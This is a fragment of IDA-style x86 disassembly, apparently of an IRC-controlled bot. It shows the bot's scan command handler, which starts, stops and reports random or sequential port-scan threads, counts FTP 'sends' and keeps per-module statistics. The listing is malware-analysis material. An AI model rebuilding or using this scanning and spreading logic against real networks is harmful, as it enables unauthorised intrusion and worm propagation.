		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FCB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB90[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63B0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44768F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444448
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444448


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EDAB2
		mov	eax, dword_444448
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444450


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EDAB2
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EDAB2
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444448
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444448
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444448[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DD4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset aR	; " -r"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60CD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset aR	; " -r"
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60CD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44442Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F70
		mov	ecx, offset dword_447998
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60B5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444450[eax*4]
		inc	ecx
		mov	dword_444450[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAE8
		nop
		call	sub_5EDAB2
		mov	eax, offset dword_50DAE8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB90[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB90[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
